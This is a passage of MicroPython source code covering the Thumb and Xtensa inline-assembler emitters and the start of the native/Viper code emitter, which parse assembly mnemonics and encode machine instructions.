reglist); } else { if (!ARMV7M) { goto unknown_op; } asm_thumb_op32(&emit->as, 0xe92d, reglist); } } else if (op == MP_QSTR_pop) { mp_uint_t reglist = get_arg_reglist(emit, op_str, pn_args[0]); if ((reglist & 0xff00) == 0) { asm_thumb_op16(&emit->as, 0xbc00 | reglist); } else { if (!ARMV7M) { goto unknown_op; } asm_thumb_op32(&emit->as, 0xe8bd, reglist); } } else { goto unknown_op; } } else if (n_args == 2) { if (MP_PARSE_NODE_IS_ID(pn_args[1])) { // second arg is a register (or should be) mp_uint_t op_code, op_code_hi; if (op == MP_QSTR_mov) { mp_uint_t reg_dest = get_arg_reg(emit, op_str, pn_args[0], 15); mp_uint_t reg_src = get_arg_reg(emit, op_str, pn_args[1], 15); asm_thumb_mov_reg_reg(&emit->as, reg_dest, reg_src); } else if (ARMV7M && op == MP_QSTR_clz) { op_code_hi = 0xfab0; op_code = 0xf080; mp_uint_t rd, rm; op_clz_rbit: rd = get_arg_reg(emit, op_str, pn_args[0], 15); rm = get_arg_reg(emit, op_str, pn_args[1], 15); asm_thumb_op32(&emit->as, op_code_hi | rm, op_code | (rd << 8) | rm); } else if (ARMV7M && op == MP_QSTR_rbit) { op_code_hi = 0xfa90; op_code = 0xf0a0; goto op_clz_rbit; } else if (ARMV7M && op == MP_QSTR_mrs){ mp_uint_t reg_dest = get_arg_reg(emit, op_str, pn_args[0], 12); mp_uint_t reg_src = get_arg_special_reg(emit, op_str, pn_args[1]); asm_thumb_op32(&emit->as, 0xf3ef, 0x8000 | (reg_dest << 8) | reg_src); } else { if (op == MP_QSTR_and_) { op_code = ASM_THUMB_FORMAT_4_AND; mp_uint_t reg_dest, reg_src; op_format_4: reg_dest = get_arg_reg(emit, op_str, pn_args[0], 7); reg_src = get_arg_reg(emit, op_str, pn_args[1], 7); asm_thumb_format_4(&emit->as, op_code, reg_dest, reg_src); return; } // search table for ALU ops for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(format_4_op_table); i++) { if (strncmp(op_str, format_4_op_table[i].name, 3) == 0 && op_str[3] == '\0') { op_code = 0x4000 | (format_4_op_table[i].op << 4); goto op_format_4; } } goto unknown_op; } } else { // second arg is not a register mp_uint_t op_code; if (op == MP_QSTR_mov) { op_code = ASM_THUMB_FORMAT_3_MOV; mp_uint_t rlo_dest, i8_src; op_format_3: rlo_dest = get_arg_reg(emit, op_str, pn_args[0], 7); i8_src = get_arg_i(emit, op_str, pn_args[1], 0xff); asm_thumb_format_3(&emit->as, op_code, rlo_dest, i8_src); } else if (op == MP_QSTR_cmp) { op_code = ASM_THUMB_FORMAT_3_CMP; goto op_format_3; } else if (op == MP_QSTR_add) { op_code = ASM_THUMB_FORMAT_3_ADD; goto op_format_3; } else if (op == MP_QSTR_sub) { op_code = ASM_THUMB_FORMAT_3_SUB; goto op_format_3; } else if (ARMV7M && op == MP_QSTR_movw) { op_code = ASM_THUMB_OP_MOVW; mp_uint_t reg_dest; op_movw_movt: reg_dest = get_arg_reg(emit, op_str, pn_args[0], 15); int i_src = get_arg_i(emit, op_str, pn_args[1], 0xffff); asm_thumb_mov_reg_i16(&emit->as, op_code, reg_dest, i_src); } else if (ARMV7M && op == MP_QSTR_movt) { op_code = ASM_THUMB_OP_MOVT; goto op_movw_movt; } else if (ARMV7M && op == MP_QSTR_movwt) { // this is a convenience instruction mp_uint_t reg_dest = get_arg_reg(emit, op_str, pn_args[0], 15); uint32_t i_src = get_arg_i(emit, op_str, pn_args[1], 0xffffffff); asm_thumb_mov_reg_i16(&emit->as, ASM_THUMB_OP_MOVW, reg_dest, i_src & 0xffff); asm_thumb_mov_reg_i16(&emit->as, ASM_THUMB_OP_MOVT, reg_dest, (i_src >> 16) & 0xffff); } else if (ARMV7M && op == MP_QSTR_ldrex) { mp_uint_t r_dest = get_arg_reg(emit, op_str, pn_args[0], 15); mp_parse_node_t pn_base, pn_offset; if (get_arg_addr(emit, op_str, pn_args[1], &pn_base, &pn_offset)) { mp_uint_t r_base = get_arg_reg(emit, op_str, pn_base, 15); mp_uint_t i8 = get_arg_i(emit, op_str, pn_offset, 0xff) >> 2; asm_thumb_op32(&emit->as, 0xe850 | r_base, 0x0f00 | (r_dest << 12) | i8); } } else { // search table for ldr/str instructions for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(format_9_10_op_table); i++) { if (op == format_9_10_op_table[i].name) { op_code = format_9_10_op_table[i].op; mp_parse_node_t pn_base, pn_offset; mp_uint_t rlo_dest = get_arg_reg(emit, op_str, pn_args[0], 7); if (get_arg_addr(emit, op_str, pn_args[1], &pn_base, &pn_offset)) { mp_uint_t rlo_base = get_arg_reg(emit, op_str, pn_base, 7); mp_uint_t i5; if (op_code & ASM_THUMB_FORMAT_9_BYTE_TRANSFER) { i5 = get_arg_i(emit, op_str, pn_offset, 0x1f); } else if (op_code & ASM_THUMB_FORMAT_10_STRH) { // also catches LDRH i5 = get_arg_i(emit, op_str, pn_offset, 0x3e) >> 1; } else { i5 = get_arg_i(emit, op_str, pn_offset, 0x7c) >> 2; } asm_thumb_format_9_10(&emit->as, op_code, rlo_dest, rlo_base, i5); return; } break; } } goto unknown_op; } } } else if (n_args == 3) { mp_uint_t op_code; if (op == MP_QSTR_lsl) { op_code = ASM_THUMB_FORMAT_1_LSL; mp_uint_t rlo_dest, rlo_src, i5; op_format_1: rlo_dest = get_arg_reg(emit, op_str, pn_args[0], 7); rlo_src = get_arg_reg(emit, op_str, pn_args[1], 7); i5 = get_arg_i(emit, op_str, pn_args[2], 0x1f); asm_thumb_format_1(&emit->as, op_code, rlo_dest, rlo_src, i5); } else if (op == MP_QSTR_lsr) { op_code = ASM_THUMB_FORMAT_1_LSR; goto op_format_1; } else if (op == MP_QSTR_asr) { op_code = ASM_THUMB_FORMAT_1_ASR; goto op_format_1; } else if (op == MP_QSTR_add) { op_code = ASM_THUMB_FORMAT_2_ADD; mp_uint_t rlo_dest, rlo_src; op_format_2: rlo_dest = get_arg_reg(emit, op_str, pn_args[0], 7); rlo_src = get_arg_reg(emit, op_str, pn_args[1], 7); int src_b; if (MP_PARSE_NODE_IS_ID(pn_args[2])) { op_code |= ASM_THUMB_FORMAT_2_REG_OPERAND; src_b = get_arg_reg(emit, op_str, pn_args[2], 7); } else { op_code |= ASM_THUMB_FORMAT_2_IMM_OPERAND; src_b = get_arg_i(emit, op_str, pn_args[2], 0x7); } asm_thumb_format_2(&emit->as, op_code, rlo_dest, rlo_src, src_b); } else if (ARMV7M && op == MP_QSTR_sdiv) { op_code = 0xfb90; // sdiv high part mp_uint_t rd, rn, rm; op_sdiv_udiv: rd = get_arg_reg(emit, op_str, pn_args[0], 15); rn = get_arg_reg(emit, op_str, pn_args[1], 15); rm = get_arg_reg(emit, op_str, pn_args[2], 15); asm_thumb_op32(&emit->as, op_code | rn, 0xf0f0 | (rd << 8) | rm); } else if (ARMV7M && op == MP_QSTR_udiv) { op_code = 0xfbb0; // udiv high part goto op_sdiv_udiv; } else if (op == MP_QSTR_sub) { op_code = ASM_THUMB_FORMAT_2_SUB; goto op_format_2; } else if (ARMV7M && op == MP_QSTR_strex) { mp_uint_t r_dest = get_arg_reg(emit, op_str, pn_args[0], 15); mp_uint_t r_src = get_arg_reg(emit, op_str, pn_args[1], 15); mp_parse_node_t pn_base, pn_offset; if (get_arg_addr(emit, op_str, pn_args[2], &pn_base, &pn_offset)) { mp_uint_t r_base = get_arg_reg(emit, op_str, pn_base, 15); mp_uint_t i8 = get_arg_i(emit, op_str, pn_offset, 0xff) >> 2; asm_thumb_op32(&emit->as, 0xe840 | r_base, (r_src << 12) | (r_dest << 8) | i8); } } else { goto unknown_op; } } else { goto unknown_op; } return; unknown_op: emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "unsupported Thumb instruction '%s' with %d arguments", op_str, n_args)); return; branch_not_in_range: emit_inline_thumb_error_msg(emit, "branch not in range"); return; } const emit_inline_asm_method_table_t emit_inline_thumb_method_table = { emit_inline_thumb_start_pass, emit_inline_thumb_end_pass, emit_inline_thumb_count_params, emit_inline_thumb_label, emit_inline_thumb_op, }; #endif // MICROPY_EMIT_INLINE_THUMB ================================================ FILE: micropython/source/py/emitinlinextensa.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include #include "py/emit.h" #include "py/asmxtensa.h" #if MICROPY_EMIT_INLINE_XTENSA struct _emit_inline_asm_t { asm_xtensa_t as; uint16_t pass; mp_obj_t *error_slot; mp_uint_t max_num_labels; qstr *label_lookup; }; STATIC void emit_inline_xtensa_error_msg(emit_inline_asm_t *emit, const char *msg) { *emit->error_slot = mp_obj_new_exception_msg(&mp_type_SyntaxError, msg); } STATIC void emit_inline_xtensa_error_exc(emit_inline_asm_t *emit, mp_obj_t exc) { *emit->error_slot = exc; } emit_inline_asm_t *emit_inline_xtensa_new(mp_uint_t max_num_labels) { emit_inline_asm_t *emit = m_new_obj(emit_inline_asm_t); memset(&emit->as, 0, sizeof(emit->as)); mp_asm_base_init(&emit->as.base, max_num_labels); emit->max_num_labels = max_num_labels; emit->label_lookup = m_new(qstr, max_num_labels); return emit; } void emit_inline_xtensa_free(emit_inline_asm_t *emit) { m_del(qstr, emit->label_lookup, emit->max_num_labels); mp_asm_base_deinit(&emit->as.base, false); m_del_obj(emit_inline_asm_t, emit); } STATIC void emit_inline_xtensa_start_pass(emit_inline_asm_t *emit, pass_kind_t pass, mp_obj_t *error_slot) { emit->pass = pass; emit->error_slot = error_slot; if (emit->pass == MP_PASS_CODE_SIZE) { memset(emit->label_lookup, 0, emit->max_num_labels * sizeof(qstr)); } mp_asm_base_start_pass(&emit->as.base, pass == MP_PASS_EMIT ? MP_ASM_PASS_EMIT : MP_ASM_PASS_COMPUTE); asm_xtensa_entry(&emit->as, 0); } STATIC void emit_inline_xtensa_end_pass(emit_inline_asm_t *emit, mp_uint_t type_sig) { asm_xtensa_exit(&emit->as); asm_xtensa_end_pass(&emit->as); } STATIC mp_uint_t emit_inline_xtensa_count_params(emit_inline_asm_t *emit, mp_uint_t n_params, mp_parse_node_t *pn_params) { if (n_params > 4) { emit_inline_xtensa_error_msg(emit, "can only have up to 4 parameters to Xtensa assembly"); return 0; } for (mp_uint_t i = 0; i < n_params; i++) { if (!MP_PARSE_NODE_IS_ID(pn_params[i])) { emit_inline_xtensa_error_msg(emit, "parameters must be registers in sequence a2 to a5"); return 0; } const char *p = qstr_str(MP_PARSE_NODE_LEAF_ARG(pn_params[i])); if (!(strlen(p) == 2 && p[0] == 'a' && p[1] == '2' + i)) { emit_inline_xtensa_error_msg(emit, "parameters must be registers in sequence a2 to a5"); return 0; } } return n_params; } STATIC bool emit_inline_xtensa_label(emit_inline_asm_t *emit, mp_uint_t label_num, qstr label_id) { assert(label_num < emit->max_num_labels); if (emit->pass == MP_PASS_CODE_SIZE) { // check for duplicate label on first pass for (uint i = 0; i < emit->max_num_labels; i++) { if (emit->label_lookup[i] == label_id) { return false; } } } emit->label_lookup[label_num] = label_id; mp_asm_base_label_assign(&emit->as.base, label_num); return true; } typedef struct _reg_name_t { byte reg; byte name[3]; } reg_name_t; STATIC const reg_name_t reg_name_table[] = { {0, "a0\0"}, {1, "a1\0"}, {2, "a2\0"}, {3, "a3\0"}, {4, "a4\0"}, {5, "a5\0"}, {6, "a6\0"}, {7, "a7\0"}, {8, "a8\0"}, {9, "a9\0"}, {10, "a10"}, {11, "a11"}, {12, "a12"}, {13, "a13"}, {14, "a14"}, {15, "a15"}, }; // return empty string in case of error, so we can attempt to parse the string // without a special check if it was in fact a string STATIC const char *get_arg_str(mp_parse_node_t pn) { if (MP_PARSE_NODE_IS_ID(pn)) { qstr qst = MP_PARSE_NODE_LEAF_ARG(pn); return qstr_str(qst); } else { return ""; } } STATIC mp_uint_t get_arg_reg(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn) { const char *reg_str = get_arg_str(pn); for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(reg_name_table); i++) { const reg_name_t *r = ®_name_table[i]; if (reg_str[0] == r->name[0] && reg_str[1] == r->name[1] && reg_str[2] == r->name[2] && (reg_str[2] == '\0' || reg_str[3] == '\0')) { return r->reg; } } emit_inline_xtensa_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' expects a register", op)); return 0; } STATIC uint32_t get_arg_i(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn, int min, int max) { mp_obj_t o; if (!mp_parse_node_get_int_maybe(pn, &o)) { emit_inline_xtensa_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' expects an integer", op)); return 0; } uint32_t i = mp_obj_get_int_truncated(o); if (min != max && ((int)i < min || (int)i > max)) { emit_inline_xtensa_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' integer %d is not within range %d..%d", op, i, min, max)); return 0; } return i; } STATIC int get_arg_label(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn) { if (!MP_PARSE_NODE_IS_ID(pn)) { emit_inline_xtensa_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "'%s' expects a label", op)); return 0; } qstr label_qstr = MP_PARSE_NODE_LEAF_ARG(pn); for (uint i = 0; i < emit->max_num_labels; i++) { if (emit->label_lookup[i] == label_qstr) { return i; } } // only need to have the labels on the last pass if (emit->pass == MP_PASS_EMIT) { emit_inline_xtensa_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "label '%q' not defined", label_qstr)); } return 0; } #define RRR (0) #define RRI8 (1) #define RRI8_B (2) typedef struct _opcode_table_3arg_t { uint16_t name; // actually a qstr, which should fit in 16 bits uint8_t type; uint8_t a0 : 4; uint8_t a1 : 4; } opcode_table_3arg_t; STATIC const opcode_table_3arg_t opcode_table_3arg[] = { // arithmetic opcodes: reg, reg, reg {MP_QSTR_and_, RRR, 0, 1}, {MP_QSTR_or_, RRR, 0, 2}, {MP_QSTR_xor, RRR, 0, 3}, {MP_QSTR_add, RRR, 0, 8}, {MP_QSTR_sub, RRR, 0, 12}, {MP_QSTR_mull, RRR, 2, 8}, // load/store/addi opcodes: reg, reg, imm // upper nibble of type encodes the range of the immediate arg {MP_QSTR_l8ui, RRI8 | 0x10, 2, 0}, {MP_QSTR_l16ui, RRI8 | 0x30, 2, 1}, {MP_QSTR_l32i, RRI8 | 0x50, 2, 2}, {MP_QSTR_s8i, RRI8 | 0x10, 2, 4}, {MP_QSTR_s16i, RRI8 | 0x30, 2, 5}, {MP_QSTR_s32i, RRI8 | 0x50, 2, 6}, {MP_QSTR_l16si, RRI8 | 0x30, 2, 9}, {MP_QSTR_addi, RRI8 | 0x00, 2, 12}, // branch opcodes: reg, reg, label {MP_QSTR_ball, RRI8_B, ASM_XTENSA_CC_ALL, 0}, {MP_QSTR_bany, RRI8_B, ASM_XTENSA_CC_ANY, 0}, {MP_QSTR_bbc, RRI8_B, ASM_XTENSA_CC_BC, 0}, {MP_QSTR_bbs, RRI8_B, ASM_XTENSA_CC_BS, 0}, {MP_QSTR_beq, RRI8_B, ASM_XTENSA_CC_EQ, 0}, {MP_QSTR_bge, RRI8_B, ASM_XTENSA_CC_GE, 0}, {MP_QSTR_bgeu, RRI8_B, ASM_XTENSA_CC_GEU, 0}, {MP_QSTR_blt, RRI8_B, ASM_XTENSA_CC_LT, 0}, {MP_QSTR_bnall, RRI8_B, ASM_XTENSA_CC_NALL, 0}, {MP_QSTR_bne, RRI8_B, ASM_XTENSA_CC_NE, 0}, {MP_QSTR_bnone, RRI8_B, ASM_XTENSA_CC_NONE, 0}, }; STATIC void emit_inline_xtensa_op(emit_inline_asm_t *emit, qstr op, mp_uint_t n_args, mp_parse_node_t *pn_args) { size_t op_len; const char *op_str = (const char*)qstr_data(op, &op_len); if (n_args == 0) { if (op == MP_QSTR_ret_n) { asm_xtensa_op_ret_n(&emit->as); } else { goto unknown_op; } } else if (n_args == 1) { if (op == MP_QSTR_callx0) { uint r0 = get_arg_reg(emit, op_str, pn_args[0]); asm_xtensa_op_callx0(&emit->as, r0); } else if (op == MP_QSTR_j) { int label = get_arg_label(emit, op_str, pn_args[0]); asm_xtensa_j_label(&emit->as, label); } else if (op == MP_QSTR_jx) { uint r0 = get_arg_reg(emit, op_str, pn_args[0]); asm_xtensa_op_jx(&emit->as, r0); } else { goto unknown_op; } } else if (n_args == 2) { uint r0 = get_arg_reg(emit, op_str, pn_args[0]); if (op == MP_QSTR_beqz) { int label = get_arg_label(emit, op_str, pn_args[1]); asm_xtensa_bccz_reg_label(&emit->as, ASM_XTENSA_CCZ_EQ, r0, label); } else if (op == MP_QSTR_bnez) { int label = get_arg_label(emit, op_str, pn_args[1]); asm_xtensa_bccz_reg_label(&emit->as, ASM_XTENSA_CCZ_NE, r0, label); } else if (op == MP_QSTR_mov || op == MP_QSTR_mov_n) { // we emit mov.n for both "mov" and "mov_n" opcodes uint r1 = get_arg_reg(emit, op_str, pn_args[1]); asm_xtensa_op_mov_n(&emit->as, r0, r1); } else if (op == MP_QSTR_movi) { // for convenience we emit l32r if the integer doesn't fit in movi uint32_t imm = get_arg_i(emit, op_str, pn_args[1], 0, 0); asm_xtensa_mov_reg_i32(&emit->as, r0, imm); } else { goto unknown_op; } } else if (n_args == 3) { // search table for 3 arg instructions for (uint i = 0; i < MP_ARRAY_SIZE(opcode_table_3arg); i++) { const opcode_table_3arg_t *o = &opcode_table_3arg[i]; if (op == o->name) { uint r0 = get_arg_reg(emit, op_str, pn_args[0]); uint r1 = get_arg_reg(emit, op_str, pn_args[1]); if (o->type == RRR) { uint r2 = get_arg_reg(emit, op_str, pn_args[2]); asm_xtensa_op24(&emit->as, ASM_XTENSA_ENCODE_RRR(0, o->a0, o->a1, r0, r1, r2)); } else if (o->type == RRI8_B) { int label = get_arg_label(emit, op_str, pn_args[2]); asm_xtensa_bcc_reg_reg_label(&emit->as, o->a0, r0, r1, label); } else { int shift, min, max; if ((o->type & 0xf0) == 0) { shift = 0; min = -128; max = 127; } else { shift = (o->type & 0xf0) >> 5; min = 0; max = 0xff << shift; } uint32_t imm = get_arg_i(emit, op_str, pn_args[2], min, max); asm_xtensa_op24(&emit->as, ASM_XTENSA_ENCODE_RRI8(o->a0, o->a1, r1, r0, (imm >> shift) & 0xff)); } return; } } goto unknown_op; } else { goto unknown_op; } return; unknown_op: emit_inline_xtensa_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, "unsupported Xtensa instruction '%s' with %d arguments", op_str, n_args)); return; /* branch_not_in_range: emit_inline_xtensa_error_msg(emit, "branch not in range"); return; */ } const emit_inline_asm_method_table_t emit_inline_xtensa_method_table = { emit_inline_xtensa_start_pass, emit_inline_xtensa_end_pass, emit_inline_xtensa_count_params, emit_inline_xtensa_label, emit_inline_xtensa_op, }; #endif // MICROPY_EMIT_INLINE_XTENSA ================================================ FILE: micropython/source/py/emitnative.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ // Essentially normal Python has 1 type: Python objects // Viper has more than 1 type, and is just a more complicated (a superset of) Python. // If you declare everything in Viper as a Python object (ie omit type decls) then // it should in principle be exactly the same as Python native. // Having types means having more opcodes, like binary_op_nat_nat, binary_op_nat_obj etc. // In practice we won't have a VM but rather do this in asm which is actually very minimal. // Because it breaks strict Python equivalence it should be a completely separate // decorator. It breaks equivalence because overflow on integers wraps around. // It shouldn't break equivalence if you don't use the new types, but since the // type decls might be used in normal Python for other reasons, it's probably safest, // cleanest and clearest to make it a separate decorator. // Actually, it does break equivalence because integers default to native integers, // not Python objects. // for x in l[0:8]: can be compiled into a native loop if l has pointer type #include #include #include #include "py/nlr.h" #include "py/emit.h" #include "py/bc.h" #if MICROPY_DEBUG_VERBOSE // print debugging info #define DEBUG_PRINT (1) #define DEBUG_printf DEBUG_printf #else // don't print debugging info #define DEBUG_printf(...) (void)0 #endif // wrapper around everything in this file #if (MICROPY_EMIT_X64 && N_X64) \ || (MICROPY_EMIT_X86 && N_X86) \ || (MICROPY_EMIT_THUMB && N_THUMB) \ || (MICROPY_EMIT_ARM && N_ARM) \ || (MICROPY_EMIT_XTENSA && N_XTENSA) \ // this is defined so that the assembler exports generic assembler API macros #define GENERIC_ASM_API (1) #if N_X64 // x64 specific stuff #include "py/asmx64.h" #define EXPORT_FUN(name) emit_native_x64_##name #elif N_X86 // x86 specific stuff STATIC byte mp_f_n_args[MP_F_NUMBER_OF] = { [MP_F_CONVERT_OBJ_TO_NATIVE] = 2, [MP_F_CONVERT_NATIVE_TO_OBJ] = 2, [MP_F_LOAD_NAME] = 1, [MP_F_LOAD_GLOBAL] = 1, [MP_F_LOAD_BUILD_CLASS] = 0, [MP_F_LOAD_ATTR] = 2, [MP_F_LOAD_METHOD] = 3, [MP_F_LOAD_SUPER_METHOD] = 2, [MP_F_STORE_NAME] = 2, [MP_F_STORE_GLOBAL] = 2, [MP_F_STORE_ATTR] = 3, [MP_F_OBJ_SUBSCR] = 3, [MP_F_OBJ_IS_TRUE] = 1, [MP_F_UNARY_OP] = 2, [MP_F_BINARY_OP] = 3, [MP_F_BUILD_TUPLE] = 2, [MP_F_BUILD_LIST] = 2, [MP_F_LIST_APPEND] = 2, [MP_F_BUILD_MAP] = 1, [MP_F_STORE_MAP] = 3, #if MICROPY_PY_BUILTINS_SET [MP_F_BUILD_SET] = 2, [MP_F_STORE_SET] = 2, #endif [MP_F_MAKE_FUNCTION_FROM_RAW_CODE] = 3, [MP_F_NATIVE_CALL_FUNCTION_N_KW] = 3, [MP_F_CALL_METHOD_N_KW] = 3, [MP_F_CALL_METHOD_N_KW_VAR] = 3, [MP_F_NATIVE_GETITER] = 2, [MP_F_NATIVE_ITERNEXT] = 1, [MP_F_NLR_PUSH] = 1, [MP_F_NLR_POP] = 0, [MP_F_NATIVE_RAISE] = 1, [MP_F_IMPORT_NAME] = 3, [MP_F_IMPORT_FROM] = 2, [MP_F_IMPORT_ALL] = 1, #if MICROPY_PY_BUILTINS_SLICE [MP_F_NEW_SLICE] = 3, #endif [MP_F_UNPACK_SEQUENCE] = 3, [MP_F_UNPACK_EX] = 3, [MP_F_DELETE_NAME] = 1, [MP_F_DELETE_GLOBAL] = 1, [MP_F_NEW_CELL] = 1, [MP_F_MAKE_CLOSURE_FROM_RAW_CODE] = 3, [MP_F_SETUP_CODE_STATE] = 5, }; #include "py/asmx86.h" #define EXPORT_FUN(name) emit_native_x86_##name #elif N_THUMB // thumb specific stuff #include "py/asmthumb.h" #define EXPORT_FUN(name) emit_native_thumb_##name #elif N_ARM // ARM specific stuff #include "py/asmarm.h" #define EXPORT_FUN(name) emit_native_arm_##name #elif N_XTENSA // Xtensa specific stuff #include "py/asmxtensa.h" #define EXPORT_FUN(name) emit_native_xtensa_##name #else #error unknown native emitter #endif #define EMIT_NATIVE_VIPER_TYPE_ERROR(emit, ...) do { \ *emit->error_slot = mp_obj_new_exception_msg_varg(&mp_type_ViperTypeError, __VA_ARGS__); \ } while (0) typedef enum { STACK_VALUE, STACK_REG, STACK_IMM, } stack_info_kind_t; // these enums must be distinct and the bottom 4 bits // must correspond to the correct MP_NATIVE_TYPE_xxx value typedef enum { VTYPE_PYOBJ = 0x00 | MP_NATIVE_TYPE_OBJ, VTYPE_BOOL = 0x00 | MP_NATIVE_TYPE_BOOL, VTYPE_INT = 0x00 | MP_NATIVE_TYPE_INT, VTYPE_UINT = 0x00 | MP_NATIVE_TYPE_UINT, VTYPE_PTR = 0x00 | MP_NATIVE_TYPE_PTR, VTYPE_PTR8 = 0x00 | MP_NATIVE_TYPE_PTR8, VTYPE_PTR16 = 0x00 | MP_NATIVE_TYPE_PTR16, VTYPE_PTR32 = 0x00 | MP_NATIVE_TYPE_PTR32, VTYPE_PTR_NONE = 0x50 | MP_NATIVE_TYPE_PTR, VTYPE_UNBOUND = 0x60 | MP_NATIVE_TYPE_OBJ, VTYPE_BUILTIN_CAST = 0x70 | MP_NATIVE_TYPE_OBJ, } vtype_kind_t; STATIC qstr vtype_to_qstr(vtype_kind_t vtype) { switch (vtype) { case VTYPE_PYOBJ: return MP_QSTR_object; case VTYPE_BOOL: return MP_QSTR_bool; case VTYPE_INT: return MP_QSTR_int; case VTYPE_UINT: return MP_QSTR_uint; case VTYPE_PTR: return MP_QSTR_ptr; case VTYPE_PTR8: return MP_QSTR_ptr8; case VTYPE_PTR16: return MP_QSTR_ptr16; case VTYPE_PTR32: return MP_QSTR_ptr32; case VTYPE_PTR_NONE: default: return MP_QSTR_None; } } typedef struct _stack_info_t { vtype_kind_t vtype; stack_info_kind_t kind; union { int u_reg; mp_int_t u_imm; } data; } stack_info_t; struct _emit_t { mp_obj_t *error_slot; int pass; bool do_viper_types; vtype_kind_t return_vtype; mp_uint_t local_vtype_alloc; vtype_kind_t *local_vtype; mp_uint_t stack_info_alloc; stack_info_t *stack_info; vtype_kind_t saved_stack_vtype; int prelude_offset; int const_table_offset; int n_state; int stack_start; int stack_size; bool last_emit_was_return_value; scope_t *scope; ASM_T *as; }; emit_t *EXPORT_FUN(new)(mp_obj_t *error_slot, mp_uint_t max_num_labels) { emit_t *emit = m_new0(emit_t, 1); emit->error_slot = error_slot; emit->as = m_new0(ASM_T, 1); mp_asm_base_init(&emit->as->base, max_num_labels); return emit; } void EXPORT_FUN(free)(emit_t *emit) { mp_asm_base_deinit(&emit->as->base, false); m_del_obj(ASM_T, emit->as); m_del(vtype_kind_t, emit->local_vtype, emit->local_vtype_alloc); m_del(stack_info_t, emit->stack_info, emit->stack_info_alloc); m_del_obj(emit_t, emit); } STATIC void emit_native_set_native_type(emit_t *emit, mp_uint_t op, mp_uint_t arg1, qstr arg2) { switch (op) { case MP_EMIT_NATIVE_TYPE_ENABLE: emit->do_viper_types = arg1; break; default: { vtype_kind_t type; switch (arg2) { case MP_QSTR_object: type = VTYPE_PYOBJ; break; case MP_QSTR_bool: type = VTYPE_BOOL; break; case MP_QSTR_int: type = VTYPE_INT; break; case MP_QSTR_uint: type = VTYPE_UINT; break; case MP_QSTR_ptr: type = VTYPE_PTR; break; case MP_QSTR_ptr8: type = VTYPE_PTR8; break; case MP_QSTR_ptr16: type = VTYPE_PTR16; break; case MP_QSTR_ptr32: type = VTYPE_PTR32; break; default: EMIT_NATIVE_VIPER_TYPE_ERROR(emit, "unknown type '%q'", arg2); return; } if (op == MP_EMIT_NATIVE_TYPE_RETURN) { emit->return_vtype = type; } else { assert(arg1 < emit->local_vtype_alloc); emit->local_vtype[arg1] = type; } break; } } } STATIC void emit_pre_pop_reg(emit_t *emit, vtype_kind_t *vtype, int reg_dest); STATIC void emit_post_push_reg(emit_t *emit, vtype_kind_t vtype, int reg); STATIC void emit_native_load_fast(emit_t *emit, qstr qst, mp_uint_t local_num); STATIC void emit_native_store_fast(emit_t *emit, qstr qst, mp_uint_t local_num); #define STATE_START (sizeof(mp_code_state_t) / sizeof(mp_uint_t)) STATIC void emit_native_start_pass(emit_t *emit, pass_kind_t pass, scope_t *scope) { DEBUG_printf("start_pass(pass=%u, scope=%p)\n", pass, scope); emit->pass = pass; emit->stack_start = 0; emit->stack_size = 0; emit->last_emit_was_return_value = false; emit->scope = scope; // allocate memory for keeping track of the types of locals if (emit->local_vtype_alloc < scope->num_locals) { emit->local_vtype = m_renew(vtype_kind_t, emit->local_vtype, emit->local_vtype_alloc, scope->num_locals); emit->local_vtype_alloc = scope->num_locals; } // allocate memory for keeping track of the objects on the stack // XXX don't know stack size on entry, and it should be maximum over all scopes // XXX this is such a big hack and really needs to be fixed if (emit->stack_info == NULL) { emit->stack_info_alloc = scope->stack_size + 200; emit->stack_info = 